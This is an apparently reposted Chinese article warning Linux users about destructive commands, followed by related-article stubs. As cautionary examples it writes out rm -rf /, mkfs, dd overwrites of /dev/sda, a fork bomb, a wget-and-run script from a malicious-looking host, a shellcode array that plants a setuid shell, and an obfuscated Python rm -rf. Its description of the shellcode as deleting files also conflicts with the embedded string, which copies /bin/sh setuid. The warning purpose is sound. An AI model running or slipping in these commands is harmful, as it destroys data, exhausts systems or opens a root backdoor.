文中列出的命令绝对不可以运行,即使你觉得很好奇也不行,除非你是在虚拟机上运行(出现问题你可以还原),因为它们会实实在在的破坏你的系统。所以不在root等高级管理权限下执行命令是很好的习惯。

早晚有一天,Linux 系统会像 Windows 那样流行,用的人越来越多,包括对计算机不是很了解的人,本文的目的就是告诉大家:在Linux给你最大程度自由度的同时,也使得破坏系统变得更加容易,如果你不了解某些命令的意义,下载执行包含恶意命令的脚本,或者被骗运行某些命令,很容易让你哭 都来不及。

这并不是说明 Linux 不安全,只是说明在不了解 Linux ,和很不小心的人面前,Linux 十分不安全。Windows 也好,Linux 也好,人本身才是最大的不安全因素。

下面的命令会删除你硬盘上的文件,rm 的 -r 递归删除,和 -f 强制删除是很危险的选项,即使日常操作,也会遇到误删文件的情况。

  1. sudo rm -rf / 删除根分区全部的文件
  2. sudo rm -rf . 删除当前目录下的所有文件
  3. sudo rm -rf * 同上
  4. rm -rf * or rm -rf *.* 同上
  5. rm -rf ~ / & 删除根分区和家目录,即使你不是root,家目录还是不能幸免。

同样,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的话,运行下面的命令会擦除你的硬盘分区:

  1. sudo mkfs.xxxx

dd 是强大的 IO 输入输出定向工具,如果使用不当,破坏性很大,不仅仅是当前分区,当前系统,有的时候是整个硬盘。

  1. sudo dd if=/dev/zero of=/dev/sda 全部硬盘清零。
  2. sudo dd if=/dev/sda of=/dev/sdb 用第一块硬盘的内容覆盖第二块的内容。
  3. sudo dd if=something of=/dev/sda 往硬盘上写垃圾数据。

同理,直接把命令结果定向到硬盘上,相当于往硬盘上写垃圾数据:

  1. any_command > /dev/sda 用随意的数据破坏硬盘

上面的 sda 、sdb 也可能是其他类似的名称。Linux 的 /dev 系统给操纵硬件提供了很方便和强大的功能,同时也使得破坏变得更容易。

fork 命令打开一个子进程,如果把 fork 放在无限循环中,最终子进程会耗尽所有内存资源:

  1. :(){:|:&};:

这段不知所云的符号,可以让 Shell 不停的 fork 子进程,最后导致内存耗尽,不得不重启,这不是 bug,只是 Shell 语句故意写成简写的形式而已。下面的同理:

  1. fork while fork

有的时候,压缩包也是一个破坏来源~

有的压缩包要求你解压到某个系统中已经存在的目录中,这时候你就要特别小心了,压缩包里面可能有成千上万的小文件,以各种文件名尝试覆盖你现有的文件。

有的压缩包看起来很小,但是解压出来是上 GB 的垃圾数据,会充斥你的硬盘。

从不正规网站下载的程序、脚本,同样会有包含恶意命令的危险,不可随便执行:

  1. wget [url]http://some_place/some_file[/url]
  2. sh ./some_file
  3. wget [url]http://hax018r.org/malicious-script[/url]
  4. sh ./malicious-script

载脚本要确保来源正规,如果有能力,可以阅读其代码。即使有源代码的程序,也不要随便编译执行:

  1. char esp[] __attribute__ ((section(".text"))) /* e.s.p
  2. release */
  3. = "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
  4. "xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
  5. "xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
  6. "x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
  7. "x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
  8. "xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
  9. "x6ex2fx73x68x00x2dx63x00"
  10. "cp -p /bin/sh /tmp/.beyond; chmod 4755
  11. /tmp/.beyond;";

上面看起来只是一堆没有意义的 16 进制数据,如果有人告诉你,运行这个程序你就可以不输入密码取得系统的 root 权限,你可不要相信他,上面的程序实际运行的是“rm -rf ~ / & ”。

python 一类的脚本语言,同样可以拿来搞破坏:

  1. python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'

这段程序实际上会执行 rm -rf *,也许你很奇怪上面程序结尾的 “sn!.sg! ” 是什么意思,实际上就是 rm -rf * 每个字母的下一个!

那么我们如何避免运行恶意程序呢?

第一、不要用 root 作为日常使用的用户

上面的程序,如果当前用户不是 root,危害的波及范围就会小很多。

第二、不要盲目运行命令

要知道哪些命令是干什么用的,不知道的命令不要冒然运行。运行有潜在破坏能力的程序,要小心检查自己的输入。

第三、保证来源正规

要保证软件、脚本的来源正规。

第四、备份数据

最后一点,虽然比较消极,但是确实十分重要的一点:

经常备份你的数据!!

来源:http://os.51cto.com/art/201805/573100.htm

文末福利 || 免费领:运维大神速成秘籍(300页干货,基础、进阶、高端,全方位linux技能整理)

千万千万不可运行的Linux命令相关推荐

  1. linux下hg无法运行_千万不要运行的 Linux 命令

    本文中列出的命令绝对不可以运行,即使你觉得很好奇也不行,除非你是在虚拟机上运行(出现问题你可以还原),因为它们会实实在在的破坏你的系统.所以不在root等高级管理权限下执行命令是很好的习惯. 本文的目 ...

  2. 千万千万不要运行的 Linux 命令

    文中列出的命令绝对不可以运行,即使你觉得很好奇也不行,除非你是在虚拟机上运行(出现问题你可以还原),因为它们会实实在在的破坏你的系统.所以不在root等高级管理权限下执行命令是很好的习惯. 早晚有一天 ...

  3. 千万千万不可运行的 Linux 命令

    文中列出的命令绝对不可以运行,即使你觉得很好奇也不行,除非你是在虚拟机上运行(出现问题你可以还原),因为它们会实实在在的破坏你的系统.所以不在root等高级管理权限下执行命令是很好的习惯. 早晚有一天 ...

  4. 【夸QT十一】外来物品:通用脚本帮助Web运行基础Linux命令

    需求分析: 需要注意的是在这里第一次,这个人是不是QT系列文章,它是关于Web的,之所以写这篇文章.这是因为碍着Web相关开发时间,而且往往涉及linux与底层指令处理.例如,创建一个文件夹,删除一个 ...

  5. linux怎么运行ing,Linux命令笔记ing

    每个人用Linux的目的都不同,所以他们常用的命令也就差异非常大,而我主要是用Linux完成项目的部署相关.在此总结一下,还有一些是其他博主的总结,放在此处,做为笔记,方便自己查看.详细Linux ...

  6. Linux学习总结(49)——应当竭力避免在系统中运行的 Linux 命令

    前言 如果你是一个 Linux 新手,在好奇心的驱使下,可能会去尝试从各个渠道获得的命令.以下是 7 个致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在 ...

  7. linux后台运行快捷键,Linux命令放入后台运行方法(和Ctrl+Z)详解版

    Linux 命令放入后台的方法有两种,分别介绍如下. "命令 &",把命令放入后台执行 第一种把命令放入后台的方法是在命令后面加入 空格 &.使用这种方法放入后台的 ...

  8. c 运行 java linux命令行参数,Linux下用命令行编译运行Java总结

    最近使用腾讯云的Cloud Studio写Java,只能使用命令行进行编译运行,趁此机会,学习一下Linux的一些常用命令.平时windows下IDE用习惯了,现在用命令行进行编译运行,发现其实问题还 ...

  9. 在linux运行brook,linux命令----dmsetup

    查看dm设备信息命令. [root@cnsz031722 ~]# dmsetup ls mpath2 (253, 8) VolGroup02-LVcustomer (253, 11) VolGroup ...

最新文章

  1. win7 打开“计算机”慢,win7电脑启动慢解决方法
  2. Linux 指令篇:档案目录管理--chown
  3. 如何成为有思想、创新的程序员
  4. 系统管理找不到请求的服务器,解决Win10无法打开软件提示服务器没有及时响应或控制请求的方法...
  5. java复制单个文件
  6. RPC的负载均衡策略
  7. ERDAS遥感图像配准、及其它一些基本处理
  8. Win10: adb: error: remote could not create file(解决)
  9. javase二维数组笔记
  10. java urlconnection cookie_使用HTTPUrlConnection时如何保留cookie?
  11. 深度学习之MNIST数据集
  12. 信号与系统 徐亚宁 matlab程序,信号与系统分析 [徐亚宁,李和主编] 2010年版
  13. 马克思主义基本原理概论笔记
  14. 一段java代码_写了一段Java代码,希望大家多多指点
  15. bzoj 5394: [Ynoi2016]炸脖龙 扩展欧拉定理+树状数组
  16. 利用Django创建简单app
  17. 使用 github, gitbook, markdown 写博客/写书
  18. 2023最新最全vscode插件精选
  19. 高等数学期末总复习DAY18.常数项级数、正项级数、交错级数、绝对收敛
  20. Datadog——Monitor as a service(笔记)

热门文章

  1. 巧用接口解耦分离实现
  2. Tcar:智能车之基于mg995型号舵机的驱动控制模块
  3. 禁用zookeeper admin页面
  4. move_base源码学习
  5. 走到哪里都有我们的精彩
  6. RK3288获取摄像头的Sensor ID【原创】
  7. 2009年我国报刊发行创新的五个关键词
  8. 天平游码读数例题_天平游码读数
  9. 百斗卫星互动地图服务协议
  10. 手机读卡但显示无服务器,手机不读卡了怎么修复